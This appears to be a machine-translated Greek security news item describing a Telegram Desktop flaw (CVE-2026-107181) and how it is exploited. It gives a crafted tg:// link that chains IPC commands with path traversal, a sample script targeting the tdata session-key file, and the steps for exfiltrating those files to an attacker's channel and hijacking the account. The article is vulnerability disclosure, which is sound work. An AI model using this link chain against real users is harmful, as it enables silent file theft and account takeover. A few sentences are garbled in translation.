Αποκαλύφθηκαν λεπτομέρειες και μέθοδοι εκμετάλλευσης για ένα θέμα ευπάθειας (CVE-2026-107181) στο Telegram Desktop, το επίσημο πρόγραμμα-πελάτη Telegram για υπολογιστές. Το πρόβλημα προκαλείται από ακατάλληλο χειρισμό χαρακτήρων οριοθέτη χωρίς διαφυγή στις εντολές IPC. Αυτό επέτρεπε την μεταφορά οποιωνδήποτε αρχείων από το σύστημα του θύματος στον εισβολέα, συμπεριλαμβανομένων αρχείων που περιέχουν κλειδιά συνεδρίας που θα μπορούσαν να χρησιμοποιηθούν για την παραβίαση ενός λογαριασμού Telegram. Το θέμα ευπάθειας διορθώνεται στο Telegram Desktop 7.2.9.
Όταν κάνετε κλικ σε συνδέσμους "tg://", το λειτουργικό σύστημα εκκινεί την εφαρμογή Telegram Desktop που σχετίζεται με αυτόν τον τύπο συνδέσμου. Εάν μια άλλη παρουσία αυτής της εφαρμογής εκτελείται ήδη στο σύστημα, η εκτελούμενη διεργασία μεταβιβάζει τον σύνδεσμο σε αυτήν μέσω μιας υποδοχής χρησιμοποιώντας τη διεπαφή IPC. Το πρόβλημα είναι ότι εάν συμπεριλάβετε τον χαρακτήρα ";" μεταξύ των παραμέτρων σύνδεσης (για παράδειγμα, "tg://x?a=1;OPEN…"), τα περιεχόμενα διαχωρίζονται και τα μέρη που ακολουθούν τον χαρακτήρα ";" υποβάλλονται σε επεξεργασία ως ξεχωριστές εντολές.
Η επίθεση χρησιμοποιεί την εντολή OPEN μαζί με το σχήμα URI "interpret:", το οποίο έχει σχεδιαστεί για την εκκίνηση σεναρίων υπηρεσίας μέσω IPC, τα οποία χρησιμοποιούνται για την αυτόματη προώθηση νέων εκδόσεων σε κανάλια. Ένα σενάριο είναι ένα προκαθορισμένο τοπικό αρχείο που καθορίζει το αρχείο που θα σταλεί στο κανάλι και το αναγνωριστικό του καναλιού. Η διαδρομή αρχείου προς τα σενάρια υποβάλλεται σε επεξεργασία σε σχέση με τον υποκατάλογο υπηρεσίας, αλλά λόγω της έλλειψης αφαίρεσης "../" στις διαδρομές αρχείων, ο εισβολέας μπορεί να έχει πρόσβαση σε αρχεία που είναι αποθηκευμένα εκτός του βασικού καταλόγου. Για παράδειγμα, θα μπορούσε να ανεβάσει ένα αρχείο στην ομάδα Telegram και στη συνέχεια να το αναφέρει ως σενάριο δημιουργώντας έναν σύνδεσμο όπως αυτόν:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Στάδια της επίθεσης:
- Ο εισβολέας προσθέτει το θύμα στην ομάδα του (με τις προεπιλεγμένες ρυθμίσεις, η προσθήκη του θύματος δεν απαιτεί επιβεβαίωση από το άτομο που προστίθεται) και στέλνει ένα αρχείο κειμένου στην ομάδα που περιέχει το κανάλι και τη διαδρομή προς το σενάριο. Το Telegram αποθηκεύει αυτό το αρχείο σε έναν προκαθορισμένο υποκατάλογο συστήματος όταν το θύμα ενταχθεί στην ομάδα.
κανάλι: 2005234537
file: tdata/D877F783D5D3EF8Cs - Ο εισβολέας στέλνει στο θύμα έναν σύνδεσμο που φαινομενικά είναι αθώος και βρίσκεται στον κεντρικό υπολογιστή του (π.χ. "https://coolsite.org"), ο οποίος, όταν ανοίγει μέσω ανακατεύθυνσης, μεταβαίνει στο υπηρέτης Το URI του εισβολέα αντικαθίσταται από ένα URI της μορφής 'tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….
- Όταν γίνει κλικ στον σύνδεσμο, το πρόγραμμα περιήγησης καλεί τον χειριστή URI "tg://", ο οποίος ξεκινά την προαναφερθείσα αλυσίδα εκτέλεσης εντολών, με αποτέλεσμα τα αρχεία να αποστέλλονται στο κανάλι του εισβολέα χωρίς να εμφανίζονται ειδοποιήσεις ή να ζητείται επιβεβαίωση αποστολής.
- Έχοντας λάβει αρχεία από τον υποκατάλογο tdata που περιέχουν κλειδιά κρυπτογράφησης και εξουσιοδότησης, και ελλείψει τοπικού κωδικού πρόσβασης που έχει οριστεί από τον χρήστη, ο εισβολέας μπορεί να κλωνοποιήσει την περίοδο σύνδεσης του θύματος στη συσκευή του.
Πηγή: opennet.ru
